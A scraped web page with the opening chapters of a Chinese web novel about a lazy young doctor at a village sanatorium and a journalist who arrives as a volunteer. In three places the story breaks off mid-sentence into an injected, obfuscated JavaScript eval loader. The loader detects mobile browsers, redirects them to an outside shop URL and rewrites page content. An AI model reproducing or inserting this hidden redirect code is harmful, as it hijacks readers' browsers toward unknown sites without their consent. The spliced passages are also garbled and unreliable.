《你是不是有病?》 1. 潮人 大雨迎面浇下来的时候,呼延正躺在桃花小院的大树下打盹儿。 台阶上静了音的电话拼了命地狂闪,宋大医生的名字在屏幕上刺眼得像个追命符,呼延回头看了眼,没怎么犹豫,继续端着盛满草药的簸箕往屋里狂奔。 淋烂了的草药直接毁尸灭迹,半好不坏的往底下藏藏,最后尚且能蒙混过关的几捧铺开盖在最上层。 干完这些,呼延拍了拍手上的草药碎渣,满意打了个响指,然后才慢悠悠拾起手机点开接通,再次一屁股躺进椅子里。 “呼!延!真!”失传多年的狮吼功从电话那头传出来。 宋医生对外的形象一直是温文尔雅,印象中如此失态的情况只出现过三次。 一次是呼延小学三年级打抱不平打掉了班里小胖子一颗牙,宋殊被叫过去赔礼道歉,对方得理不饶人,非要呼延的一颗门牙,温文尔雅宋医生撸起袖子和小胖子妈干起了架。 另一次是呼延那个出轨后准备净身出户,还没办完离婚手续就出了车祸的亲爹死讯传来的那天,宋殊料理完后事,又给呼延做好了晚饭,很平静地回到卧室,紧接着从门后传来的那嗓子歇斯底里的哭声。 再有一次,就是这回了。 呼延猜到事态严重,但没想到会如此严重。 她在宋殊这儿一向没什么信誉度,大事小情能交给别人做的宋殊坚决不会交给她。 今天是特殊情况,小院里能支使的劳动力都碰巧出了门,宋殊急着去隔壁村民家里头出诊,难得对她委以重任,知道自家闺女操行,临走前还再三叮嘱。 “就这点小事我还能办不成吗?”呼延当时掷地有声保证。 面对质问,呼延不带半点心虚的,屁股不离板凳地挪着椅子腿把垃圾袋扎了个捆,“收了收了,放心,您那一堆宝贝好着呢。” 宋殊明显不大信任,苦于无法立刻查证,只能任呼延满嘴跑火车。 “让你去六婶家打两斤酱油你不会也没去吧。”宋殊又发话了。 “当然——”呼延瞅了眼旁边空荡荡的酱油壶,面不改色地继续说:“打好了。” 边说着,懒散地拎起伞和酱油壶从躺椅里起身。 肥猫夜宵在一旁淡定路过,摇了摇尾巴甩她一眼,蔑视意味浓郁。 “挑衅是吧?等陆离回来让他收拾你!”呼延朝夜宵龇牙,走了两步到门口,又折回来朝肥猫扔了条吞拿鱼冻干,“肥猫!我可没虐待你,别告我状。” · 桃源村不大,但地形曲折,每户之间又住得分散,六婶家离桃花小院直线距离三四百米,要绕过六个土巷子和三条因为无人治理而形成的水沟。 呼延顶着大雨走到一半的时候,泡沫拖鞋已经被完全泡湿,滴拉拉挂着水泥汤,打眼一看倒很像是当下流行的脏脏鞋。 她正低着头究极乐观地欣赏自己的“脏脏鞋”时,一个长方形的庞然大物砸到了她的伞上。 “嘭”的一声,呼延半年前在市区贪便宜砍价花六块钱买的塑料伞应声散了半边架,而那个“庞然大物”顺着散架的伞面滑落砸到地面上时,呼延才看清这玩意儿竟然是个手机。 之所以给她造成冲击如此大的错觉,一来是速度太快,余光中向她砸过来时黑云压城,跟个卸了电的UFO似的,二来就是紧随着手机一起被“扔出来”的这个男人。 面生,看样子是个游客,身材高挑,白衬衫西装裤,在雨的作用下,衬衫底下的肌肉轮廓明显。 这人鼻梁上架着副细金属框眼镜,眉眼浓郁,发型是那种微卷的半长短发,像是出门前有好好打理过。 呼延没被砸下来的手机吓得太厉害,但看到这人着实后退了两步。 这人打扮就像是呼延上小学时候路边看到就躲着走的那种“潮人”,呼延关节不好,有潮人恐惧症,在繁华都市北城的几年好容易逼着自己习惯了点,来桃源村后又打回原形,每天宽松T棉睡裤,早上起床顺手一捞,怎么恶心怎么穿。 呼延承认自己就是个审美低下的土鳖,更何况潮和精致都是需要金钱和时间养护的,她又抠又懒,且安于做个土鳖,因此决定自我放弃,并离潮人们远一些。 “潮人”被扔出来后没急着去捡手机,反而做了个防御的姿势对着身后,紧接着一个腰粗膀圆套着围裙的中年女人气势汹汹跟出来了。 “打打打,我叫你打!霸王餐吃到老娘头上了,我今天就叫你吃不了兜着走!”女人掐着腰冲潮人哥吼。 嚯!霸王餐? 还有人敢吃刘敏秀的霸王餐? 整个桃源村的人都知道惹谁都行就是别惹刘敏秀,惹了别人最多挨一顿骂,刘敏秀是真的会揍人的。 呼延就算是老被宋殊念叨没大没小,见了面也得是客客气气“刘姐刘姐”的叫。 不过这哥就算是没做过背调,光是看体型也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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呼延加快脚下步伐,强忍住回头继续看热闹的冲动,心里暗恨她怎么就忘了打酱油呢,不过转念想如果没忘她也看不到这一出…… 就在她埋头腹诽淌水赶路时,身后一阵气势凶猛的风向她扑来,随即一只修长微凉的手落在她握着伞柄的手腕上,呼延“我艹”一声,惊恐看向突然俯身钻进她伞下的男人。 “借个伞。” 就这样,男人拖着伞,伞拽着呼延,在身后刘敏秀菜刀和尖啸的双重恐吓下,呼延懵逼地踏上了“逃亡之路”。 2. 面试 “诶你——” “你你你你你——” “说话不方便?”头顶传来男人淡定的一问。 这时候倒是说话委婉上了是吧。 “你谁啊你!” 又过了个路口,在确定刘敏秀没有再追上来后,呼延胳膊肘朝着男人腰上一捣,男人吃痛咬牙嘶了一声,手上卸力。 呼延趁势夺回她那把塌了半边的塑料伞,往后退了半步,揉了两下手腕,腕上绕着的白色丝巾都给扯皱了。 “力气挺大。”男人一只手将包举头顶上挡着雨,眼皮半掀着。 被拽着一通乱跑,呼延原本还剩百十米的路瞬间拉长了一倍,回家交差的行程被耽搁,她恶狠狠地瞪向男人。 呼延其人吧,平时不爱主动惹事,但遇到事也坚决不怕事,刚才顺着男人走也只是因为忌惮刘敏秀手上那把菜刀。 狠的也怕疯的,她胆子再大也不敢惹刘姐,到时候溅她一身血不说,万一刀剑无眼再伤了她,她还没来得及为国家伟大的医学事业做贡献,坚决不能牺牲! 呼延深吸一口气,怒气值攒满,突击枪似的开启狂喷模式。 “是不是有病啊你,惹不起你别惹啊,惹了又跑算怎么回事,你跑就跑了,拉上我算什么,我和你认识吗大哥?你没看到刘敏秀手里的刀吗?拿我挡刀呢是吧,一米八多的大男人好意思吗你……” 呼延长了张桃子似的脸,额头一直到面颊中都是很流畅的圆形,到了下颌处又丝滑地聚成个小尖儿,加之眼睛大鼻尖翘,相当漫画脸风范。 发飙自带线条框,上书一串乱码:%¥#%*&。 意思就是:本条语音不重要。 呼延发现她骂了半天,对方不仅没有愧疚悔改的意思,反倒像是在好整以暇地观察她,人家一拳打棉花上还能舒服一下子呢,这人表情跟滩化了的棉花糖似的,又黏又腻,恶心谁呢? 威严被挫,火气顿时噌地冒到头顶了,“你笑个——” “对不住。”男人忽然道歉。 呼延没收住。 “——屁啊……” 雨终于小了点,吴措把背包从头顶拿下来,隔着细蒙的雨雾看向呼延,对上了那双晶亮澄澈的眼。 个子不高,脾气不小,不太好惹。 “事出紧急,刚才对不住。”他眉骨稍抬了抬,语气轻淡,又道了遍歉,紧接着往前走了半步,“问你个事儿。” “不知道。” “还没问呢。”吴措鼻腔哼笑出一道不轻不重的气,偏偏头瞅着呼延说。 约摸着眼前人也没打算再对她做什么,刚才真就是顺手把她当个撑伞工具捞走了,呼延没好气地回:“不想告诉你,行了吗?” 说完抬脚往六婶家走,本想留个心眼绕一下,又转头想这人反正也不是冲她来的,一会儿如果还跟着……她记得六婶家进门的地方放了把锄头。 吴措:“桃花小院怎么走你知道吗?” “不——这个我还真知道,不过你去小院干嘛?”呼延说着话停了下来。 吴措收了收自己吊儿郎当那副表情,“面试。” 呼延拿眼上下仔细扫了吴措一番,眉头拧起来,“理疗师?不是吧,我不记得小院新招理疗师啊。还是护工?保洁?打手……” 呼延越猜越离谱。 吴措听了半晌后才打断她,“志愿者。” 呼延眼睛瞪起来,“志愿者!?” 小院多久没来志愿者了来着? 嗯,三年了。 三年前宋殊辞了北城某三甲医院主任医师的工作来桃源村开了这家疗养院,收治一些需要慢性康复疗养或者疾病疗养的人。 胸无大志的不靠谱菜鸡实习医生呼延紧随老母亲步伐来到此地,从此母女俩开启了入不敷出的开院生涯。 除去小院刚开没多久,封筝陪着香香女士一起过来,当了段时间志愿者后来考到理疗师证转成正式工,他们小院已经三年没有人正儿八经过来当志愿者了。 他们这条件是一般,比起许多偏远山区却又不算真偏真贫,公家分配人不会优先给他们,他们也没自己的媒体账号,名声小,自发来的途径就少了。 甚至来这疗养的基本上仔细打听一下都是谁谁的朋友介绍来的,通讯录里一翻都是熟人。 所以呼延就更好奇他的来头和目的了。 学生义工?不像。 呼延自己就先否定了。 他一张脸长得年轻,但仔细看眼睛里透着些非得是人情世故中才能磨炼出来的沉稳和不易琢磨,像是入世很久了的眼睛。 呼延想了想,又问:“干嘛的你?”“职业。”她补充。 仿佛也没觉得呼延这么一个“外人”问东问西奇怪,吴措同样很直白地回答:“记者。” 他似乎是犹豫了一下,而后又抬了抬眉补充,“算是吧。” 呼延先是一怔,随即露出了然的一哂,“记者啊。” 那就不奇怪了。 “记者怎么了?”吴措将背包左手倒腾到右手,看着呼延问。 “没事。”呼延说,她露出十分友好的一笑,葡萄大眼眯起来,眼下凹起两道小窝,“你不是问桃花小院么,前边走100米左拐,第二个巷子再右拐,走到尽头就到了,很明显,一眼就能认出来。” 吴措思考了片刻向她点头,“谢了。” 两人在满是泥坑的小巷里初次告别。 走了两步,他忽然回头,说:“吴措。” “当然没错!”呼延心底只虚了千分之一秒,心说这哥还挺咬文嚼字。 无~错~ 她在心里阴阳怪气重复了一遍。 “我说,我叫吴措,刚不是问我是谁么。” · 从六婶家出来的时候雨已经彻底停了,六婶照例给她多添了两勺,闲聊几句后还给她抓了把大白兔奶糖,呼延回家的路上心情大好,嚼着奶糖给陆离发消息。 [我跟你说我今天逗了个傻缺记者嘿。] [不准说我!你知道我最讨厌记者了。] [拍摄顺利吗?什么时候回来啊,好想你。] 陆离忙着没给她回,不过呼延也不介意。 当年她认识陆离的时候,他还是个闷头写代码的程序员,是她鼓动着他放弃了前途大好的工作,成为了个常年“流浪”在外的户外摄影师。 原以为离开了996,就能迎来自由美好的新生活,没成想新生活里不仅没时间,还没了信号,她更联系不上陆离了。 呼延一想到这事,就想穿回到几年前她刚鼓动陆离辞职那会儿,敲晕自己的脑袋捂住自己的嘴,说不定现在还能绑架陆离来小院当个网管什么的。 十天了,她已经整整十天没有见到陆离了! 反正最近小院不算忙,不然找个时间去找陆离,给他个惊喜。 呼延光是这么盘算着,想着陆离见到她时惊喜的神情,就自顾乐起来了。 她拎着满瓶的酱油,一路招猫逗狗脚步不停,蹦着跳着往回走。 回到小院的时候,院子里已经回来了好几个人。 封筝应该也是刚回不久,衣服还没换,踩着高跟鞋,妆容一如既往的精致,正一手提着一个大袋往院子里搬。 她定期会带着她男友八哥去城里采购院里的生活用品,今天恰好是采购日。 呼延放下酱油跑过去帮忙,打眼一瞟就看到了桌上放着的两瓶草菇酱油。 对啊,今天是采购日,宋殊根本就没给她下达过什么打酱油的任务,是她自己心虚,被顺着一炸就炸出来了…… “要么说知女莫若母呢。”呼延小声自言自语。 “什么?”封筝没听清。 呼延囫囵讲了遍方才的事,咬牙切齿:“狡诈的宋医生。” 封筝弯腰笑起来,“一物降一物,也就宋医生能降得住你。” “我是这辈子也斗不过我妈这尊如来老佛爷了,不过也不是没有收获,”呼延转移话题,“刚刘敏秀那儿碰到个记者。” 听到关键词,封筝条件反射停下动作,抬了抬眉毛,“又干坏事了你?” “什么叫干坏事呐。”呼延赖赖唧唧“啧”了一声,“我这叫为民除害。” 她简单讲了讲霸王餐的事儿,说到那人问路到小院,眯了眯眼睛,“一身少爷打扮,一看就不是正经来做事的,谁知道他什么目的。” 封筝抬头看着呼延,她穿着一身宽松的T恤,面容干干净净不施粉黛,身上散着很清淡的香气,说到这些五官都动用起来,整个人生动得不得了。 “所以你就把人引坟堆里了?”封筝调侃着笑了声,“叫地里的祖宗为民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14432190|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除害是吧。” 村子里的坟和城里的墓地不一样,基本上算是一片土坟聚体堆,顶多每个土堆前面立个碑,防止清明上错坟。 靠边上有许多年代久远的坟,坟底下的人早已无人惦记,坟头上就长满了草,透着一股诡异荒凉,搭配上时不时出没的野猫蝙蝠之流,对没见过的人来说还挺容易被唬到的。 “我就吓唬吓唬他,让他没事别动小院的心思。”呼延顺手从袋子里挑拣自己写在购物单里的牙刷香蕉卫生棉之流,带着脾气,东西捏得滋嘎乱响。 “捏坏了也得给钱哈。”封筝和她开玩笑,“还有这个你的,红参液。” 呼延眨眨眼:“这是送给香香女士的,算我头上。” 封筝也没和她客气,顺遂收了下来,“那就替香香女士谢谢我们呼延医生。巧了么不是,这个给你买的,桃汁橡皮糖,上次不是说好吃么。”封筝从另一袋子里拿出袋糖,“算我头上。” “诶呀,爱你。”呼延直接拆开塞嘴里,门牙咬着橡皮糖扯得老长,嘴里含糊着继续嘟囔:“真要除他还脏了祖宗们的在天之灵呢。” “我说呼延你啊,别遇到记者就暴躁,这记者也分好记者和坏记者,万一误伤了好同志不说,气坏的可是自己的肝。世界如此美妙……” 呼延“呵”了声打断她,“我说‘筝妈’你啊,谁家好记者吃霸王餐呐,你信不信我都能想到他当时怎么说的——” 呼延把嘴里的糖咽下去,直了直身体,掐起嗓子开口:“还要钱?我一篇报道下去,你这小店明天就得关门你信不信?” 封筝被呼延拿腔拿调的模样逗得笑得不行,半晌后才停下来,她把自己的东西扎了个袋,又回头冲呼延摇摇头,“你不说人家穿得还挺体面的么,不像是吃不起一顿饭的吧。” “你不懂那种人,不是钱不钱的,就是有点小权力攥在手里,飘得跟个热气球似的,恨不得全天下都是他的霸王餐,这些无良记者都这德行。”呼延皱皱鼻子哼了一声。 想起什么,她忽然又翻了遍购物袋,“诶我要的那个护膝没买吗?” “护膝?” “陆离最近不是在山上拍么,他膝盖不好,这两天还下雨,我买副护膝给他送过去。”呼延嘟囔着,“我忘了写了?” 封筝整理东西的本事一绝,几大袋东西被她按品类和归属人分到了几个袋子里,谁缺了件什么一目了然。 “不是,没有。”封筝回头和八哥对视一下,然后向呼延抱歉道,“我忘买了,要不我明早再出去一趟?” 呼延耸耸肩,“不着急,我过两天去找他,绕一下道自己就买了——而且封筝你没听过那个词吗?”呼延又把话题扯回来。 “什么词?”封筝看她。 “衣、冠、禽、兽!”呼延一字一顿,“不好好衣冠,怎么大肆禽兽。” 封筝摇头失笑,呼延不是个爱说人闲话的,只是一碰上“记者”这两个字绝对失控,这位同志也算是撞枪口上了。 “你这么逗他,回头人要真来了多尴尬啊。”旁边闷头整理的八哥忽然开口。 八哥原名方岛,呼延第一次看到这个名字的时候看成了方鸟,差点笑出声来,心说怎么还有人起名叫“鸟”呢。 她称呼方岛“鸟哥”,自己又觉得不好听,开玩笑说要不就叫“八哥”吧。 方岛刚来那会儿头顶是一撮竖着的卷毛,和某品种的八哥很像,莫名契合。 不过方岛人不如其名,和话痨爱唠叨的封筝对比鲜明,他话少得吓人。 一直到吃完第一顿饭,被叫了一整晚上的“八哥”后,“方鸟”才闷次次开口:“我叫方岛。” 不过这个外号还是被呼延叫了起来,就连封筝也跟着改了口,天天八哥八哥的叫他。 时间久了,呼延发现八哥这人还挺“八哥”的,话少但精、不鸣则已,经常一开口就能把人噎死,还有种莫名其妙的“言灵”体质,说啥准啥。 就比如现在。 呼延说着“他来了我照样有办法把他弄走”,一转身的功夫,视线撞一人身上了。 那位刚被她大肆吐槽的“傻缺”此刻正与宋医生并肩从大门走进来,两人方才似乎经历了一个相谈甚欢的话题,笑容还未敛住。 吴措瞧过来,冲她微微颔首,笑容不减,“你好啊,呼延医生。” 3. 积德 今天可真是喝口水都能喷个“衰”字。 呼延转身就要溜。 她没觉着自己真做了啥错事,但她害怕老佛爷。 “呼延真!” 老佛爷叫住她,“你给我过来。” 呼延夹着尾巴跟着宋殊往办公室走,路过的时候吴措没再招惹她,蹲下来开始逗不知道什么时候跑过来的夜宵。 平时生人勿近的高冷宵总嗅了嗅吴措的手指后,竟然配合地直接往地上一摔翻起了肚皮,并且没出息地开始打起呼噜。 呼延狠狠唾弃了一番吃里扒外的夜宵,跺着脚快步跟上宋殊。 吴措摸着狸花猫的肚皮,回头看了一眼,嘴角抬了抬,不知道从哪拿出根鸡毛,专心逗起猫来。 · 宋殊的办公室在一楼西偏房,卧室改的,睡觉的地方和办公区中间隔了道门,早上门一打开就开始坐诊,晚上非得把医书病历本翻几下才能睡得着。 宋殊的事业女强人作风丁点儿没遗传给呼延,呼延从小没什么抱负,大方向上她妈指哪她打哪,加上脑子还有点小聪明,这一路走来没吃过什么苦,因此也更没什么艰苦奋斗的动力,人生信条就是躺平等死。 呼延一进宋殊办公室,就习惯性准备往沙发上躺平,被宋殊一个圆珠笔扔身上砸起来了。 呼延瘪了瘪脸,顺手把圆珠笔收自己口袋里了,明知故问道:“干嘛呀这是。” “让你收药,你又躺院里睡着了是吧。”宋女士单刀直入。 呼延还想挣扎两句,眼皮一抬看到宋女士捡回来装着“赃物”的垃圾袋,又憋了回去,不过仍然万分不服气腆着脸,“你还拿话唬人呢,我说什么了嘛。” 宋殊:“你不心虚,我能唬得着你吗?” “你不唬我我能心虚吗?”呼延把歪理扯得有模有样,“这就是个鸡生蛋蛋生鸡的问题,说到底咱娘俩都有问题,各罚三口藿香正气水,不能再多了。” 宋殊看着呼延没脸没皮瞎扯,心想她一世英名怎么就生了这么个小鸡蛋、不是,小混蛋。 给她气得。 “贫吧你就,没心没肺的。就知道说什么你都不往心里去。”宋殊瞪她一眼,“那‘商陆’是给吴奶奶用的,你明天自己过去跟她说,看吴奶奶不对着你抹眼泪。” “吴奶奶呀……” 呼延这会儿才真有点愧疚了。 吴奶奶是她们来桃源村后的第一个病人,没儿没女低保户,刚来那会儿吴奶奶肾炎发作浑身水肿得厉害,就是不肯去看病,说是拖死了就不连累政府了。 宋殊知道后带着呼延过去,给买了一堆药也没要钱,后来又听说吴奶奶连给的药也不舍得吃,就开始用草药配些对症的药。 老人上了年纪了,再加上是个常年累下的病,也不指望能一下子根除了,宋殊的药也就是给吴奶奶减轻身体疼痛,续着点精气神。 呼延经常和宋殊一道去吴奶奶家,每回过去吴奶奶都得拉着呼延的手念叨半天。 说呼延和宋殊心善,好人有好报,自己以后死了变成老黄牛给呼延家里犁地,说到最后指定得抹眼泪,说自己老了不中用,还得麻烦她们。 呼延想着肩膀耷拉下来,嘟囔一声:“一会儿我再去后山采呗。” “不情不愿的。”宋殊已经开始翻病历本了,“明天去吧,叫人和你一道,顺便重点看着采点升麻。” “知道了。”呼延敷衍应着,往常都是她和封筝一起上山,估计这回也是。 她准备往外走,走到半截又停下来,“你真要让那傻缺留下来啊。” “什么傻缺。”宋殊抬起头,病历本一翻,“人家叫吴措。” “这名起得就乱七八糟的。”呼延带着偏见看什么都不顺眼,“你知道那傻、吴措是记者吗?” 宋殊点点头。 “你就不怕又发生那事?”呼延嘴唇一抿。 “不会。”宋殊说,也不解释。 呼延声音不大不小的,“你怎么知道不会。” 宋殊没搭理她。 “非得留个定时炸弹放旁边。”呼延还没放弃,“没看出这人有什么好。” 宋殊病历本一合抬起头来,拿出院长做派给她算账,“小院从开始办就一直赤字,预算少招不到人,这半年病人多了人手忙不过来,好不容易等来个不要钱的志愿者,还是个有经验的,我不要,你再出门给我找个更好的?” 呼延撇撇嘴:“那就适当收点钱嘛,开药成本价给,遇到可怜的就不要钱,碰上惨的还倒贴钱,做慈善啊。” 宋姝眼皮不带眨的,“是啊,做慈善给我闺女积德。” 呼延:“这是骂我缺德呐,还是堂堂医生呢您,嘴真损。” 呼延又准备说什么,手机里叮叮叮三条短信发了过来。 [这么高兴啊。] [不说你,但还是优先保护好自己。] [这里一切顺利,拍到了难得一见的雏鹰初猎,等回去给你看。我也想你。] 收到陆离逐字逐句的回应,呼延肚子的气跟扎破了的球似的一下子就放没了,她边给陆离发消息,边和宋殊道:“行行行,留就留着呗,反正看他那样子也待不了几天。” 宋殊:“只要你不捣乱就行。” “我什么时候捣乱了。”呼延不承认。 “你是没捣乱,”宋殊抬抬眼皮,“把人往坟地里引的不是你是吧,还说你不缺德?” 你看这人,第一次见面就告状,果然不是好东西。 “有这么说自己亲闺女的么。”呼延皱着鼻子小声回呛,又在心里暗骂吴措一声,丝毫不觉先做坏事的是她自己。 她回头冲宋殊挤了挤眼睛,“知道了,他不惹事我肯定不招惹他。” 呼延阳奉阴违的功夫炉火纯青,这边话音还没落,那边就已经想好冲吴措兴师问罪的台词了。只不过这出质问的戏到底没唱成,因为当她走到院子时,连吴措的影子都没见着。 封筝和八哥一道查房去了,院子里这会儿只剩下半簸箕草药,还有个抱着根鸡毛打滚的夜宵。 呼延走过去蹲下来,把鸡毛从夜宵怀里抽出来,夜宵不依,嗓子里低吼着龇着牙上爪就去抢,呼延将鸡毛举高,教育夜宵:“陌生人给的玩意儿不能乱玩知道吗?谁知道对方是人是鬼,你能不能有点小院最高冷男神的排场。” “芦花鸡。” 一道清脆稚嫩的声音在身后响起来,呼延回头,看到小黄豆正站在自己身后看着她手里举着的鸡毛。 “芦花鸡,鸡形目雉科,又名横斑洛克,体型大呈椭圆形,颈部挺立……” 呼延一直等着小黄豆将芦花鸡的“上下五千年”讲完,才开口,边鼓掌道:“我们小黄豆好棒啊,看一遍就记住了,对,这是芦花鸡的羽毛。” 如上所见,小黄豆是自闭症儿童,有十分明显的自闭症病征,比如无法注意力集中、沟通能力障碍,但小黄豆记忆力超群,他喜欢各种动物尤其是昆虫,对这些东西如数家珍,当然,以及昆虫的天敌—— 小黄豆停了一下,面无表情开始了第二遍背诵:“芦花鸡,鸡形目雉科……” 夜宵在旁边挠了两下呼延的胳膊未果,甩着胡子气哼哼离开了。 等到小黄豆准备背第三遍的时候,呼延终于打断了他,“小黄豆,明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14432191|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天和真真姐姐一起去挖草药吗?” “草药,柜子第一排甘草、丹参、虎杖、北豆根,第二排苦参、甘遂、商陆——” “对,就是商陆!”呼延打了个响指,“还记得商陆长什么样子吗?” 小黄豆眨了眨眼皮:“商陆,花白色,叶卵圆形,浆果紫黑色呈扁球形,真真姐姐睡觉没收,商陆淋湿了,院长骂。” 好事不出门…… 呼延:“……小黄豆,真真姐姐教你一个词,叫作‘家丑不可外扬’,这件事可千万不能告诉别人,天知地知你知我知院长妈妈知,不能有第三、不对,第四个人知道了,尤其是——” 小黄豆:“吴措哥哥。” “对,吴措哥——不对,吴措?”呼延心里升起不详的预感,“吴措知道了?” 呼延看了眼小黄豆怀里抱着的新玩具车,一脸了然。 这货还贿赂小孩?! 自闭症儿童通常对陌生人戒备很深,这么快就对他放下防备,还真是有两下子。 看来不能轻敌! 小黄豆眼睛盯着手里的玩具车,口中念念有词,面无表情道:“你说呼延啊,院长让她下雨收草药她躺院里睡着了,估计现在正在被院长训呢……” 完全是封筝的语气……这个嘴上没把门的。 “差点误会我们小黄豆了,”呼延表示愧疚,她摸着小黄豆的脑袋问:“吴措去哪了?知道吗小黄豆。” 小黄豆眼神直直望着自己怀里的新玩具车,自顾摆弄起来,嘴唇紧抿着,没再搭理呼延。 傍晚的最后一道光被拢入云层又缓缓跌入远处的灵沧山,呼延叹了口气,带着小黄豆回了房间。 今天的小院格外宁静,三年来难得的一天,呼延诚恳地祈祷这份宁静可以持续下去。 小院是宋殊的心血,也是她的家,她比谁都希望小院可以安稳又持久地经营下去,不要有任何意外。 呼延甩了甩手里的鸡毛,准备扔进垃圾桶,想了想又收了回来。 “走了?”呼延自言自语了一声,松了口气,又忽然觉得有点没劲,准备好一堆招但最后没使出来的那种没劲。 “走了吧。”她说,“希望是走了。” - 次日一大早,呼延去小黄豆房里把人喊起来,再去叫封筝的时候,封筝房里却没人,打听了一圈,说是一大早就出门了。 呼延发了条微信问封筝是不是先走了,没等来回复的消息,便拎着小黄豆的胳膊进了餐厅。 两人匆匆用完早饭,封筝还没回信,呼延懒得再等,拿着挖草药的工具准备出门,结果刚到门口,门外杵着的“柱子”把呼延吓了一跳。 小黄豆反倒十分淡定,眼神在空中飘忽两下,喊了声:“吴措哥哥。” 呼延往后撤了半步,非文明用语到嘴边硬生生咽了下去,这一勉强,刚才匆匆吞下的鸡蛋黄就添乱地卡在了嗓子眼,呼延脸被憋得通红,一手掐着自己脖子一手摸索着扶墙。 “这么激动?”吴措开始还以为呼延在整节目效果,后来看那小脸越憋越红,也觉得不对劲,抓着呼延的胳膊准备帮忙。 结果手刚一碰上就被呼延挤出力气甩开了,她抬着右巴掌往自己胸前猛一拍,又憋着肚子里的气用劲一咳,“咔”一声,气才算顺了过来。 “我靠!” 通完气后的第一句话。 经此一事呼延总结反思,有气不能憋,有话就得骂,文明社会是建立在自由快乐的基础之上的,而她得骂出来才能快乐。 “……你也早上好。”吴措从口袋里拿出纸巾,擦干净外套上他不想面对的不明物本体说。 4. 底牌 “你在这干嘛?” 呼延抚着自己的胸口问。 她是有点遗憾在的,在不知道吴措昨晚去向的时候,呼延抱着一丝期待,吴措已经知难而退了。 她不喜欢吴措。 虽然他长了张人模狗样很有欺骗性的脸,但呼延第六感总觉得这人来小院带着别的目的。 是什么目的不好说,但肯定不是单纯来当志愿者的。 但就眼前情况来看,她的期望落空了。 “宋医生没给你安排事干?还是你……第一天就想偷懒罢工?”她带着点引导的意味问。 可不管她语气神情如何,吴措永远一副半死不活的样子优哉游哉瞅着她,等她气息平稳了才慢悠悠指着她后背上挂着的小筐,“挖草药啊。” “宋医生安排的。”他搬出宋殊来。 前半句听完,呼延明显一副“我看你像个草药”的表情,再听完后半句,呼延直接白眼翻起来。 合着被安排和她一道上山的不是封筝,是吴措? 宋大医生的心思她门儿清,知道呼延指定会搞点什么动作,不如直接把人送上门让她往明里搞,这样收拾她的时候还能清晰喊出个罪名。 老佛爷有令,她哪敢反抗。 但,她可以消极执行。 “保持距离,别跟着我。” 呼延拽着小黄豆,也不管吴措有没有跟上来,大步往前走。 桃源村就在灵沧山山脚下,枥城农田不多,大多是果树,通往灵沧山的小路两边种满了沃柑,还没到结果的季节,叶子繁盛得相当生机。 呼延尽量不让自己的注意力放在吴措身上,她和小黄豆念着几个月后一起过来摘沃柑,又絮叨夜宵昨天偷偷把装冻干的柜子扒拉开自助餐了一顿,再说到小黄豆今天新学的书本…… 可不管她怎么转移注意力,身后吴措不远不近跟着的声音就是不停往她耳朵里钻,她快几步吴措跟几步,她慢几步吴措缓几步。 走出桔园的时候,呼延终于忍不住了,回头不耐烦大喊了声:“不是说了别跟着我!” 回应她的,是一眼望不到边的柑桔园、被她声音惊起的一片雀鸟,以及…… 她低头看了眼,那个粘她脚底下,被她当成“吴措”气了一路的—— 红色塑料袋。 不明所以的小黄豆神色开始焦虑,“真真姐姐,害怕……” 呼延干干咽了口唾沫,从眼前尴尬到家的情况中缓过来后,立刻蹲下来抚摸小黄豆的后背,“没事了小黄豆,我不是说你。” “真真姐姐……疯……”小黄豆眼睛开始上下乱转,呼吸急促起来,这是要发病的征兆。 呼延又暗骂了吴措一声,眼神向路边草丛里瞟了一眼,然后迅速跑过去从里面抓出一只食指指节大的螳螂,捏着翅膀走到小黄豆面前。 “小黄豆看姐姐,看着姐姐,来,这是什么?”呼延一手安抚着小黄豆的后背说。 小黄豆的眼神飘忽了几秒,终于聚焦到螳螂身上,“……大刀螳,螳螂科大刀螳螂属……” 小黄豆的情绪慢慢平复下来,呼延确定他的眼神焦距正常后,又从路边折了根草杆,将螳螂绑住,重新递到小黄豆手里。 虽然小黄豆眼下恢复了正常,但这草药也没法继续采下去了,呼延怕再出意外,带着小黄豆原路返回了小院。 回来的速度比去的时候快,这一来一回也没多久的时间,等她到小院的时候,就看到吴措已经坐在她平时常躺着的躺椅上了,旁边坐着的是一大早闹消失的封筝和八哥。 三人正嗑着封筝前一天刚采购回来的瓜子聊着什么话题,见到气势汹汹折回来的呼延,八哥还心大地招手打了个招呼,就被封筝摁住了。 “那什么,忽然想起来还有个器材没拆,跟我过去拆一下。”封筝拽着八哥的手就要走。 八哥还有点不明就里,“什么器材?什么时候买新器材了?” “走吧你就!” 呼延叫了声“封筝”,封筝脚下立马跟抹了油似的,跑得比兔子还快,一眨眼跑没影了。 “等会儿再找你算账。”呼延怕又把小黄豆吓到,没敢声音太大,她先把人送回房间,才又折回找到罪魁祸首。 “回来了?”罪魁祸首本人直接往后一躺,舒舒服服靠躺椅上了,“还挺快。” 呼延闭了闭眼给自己顺气,大脑里闪现几遍静心咒。 没起作用。 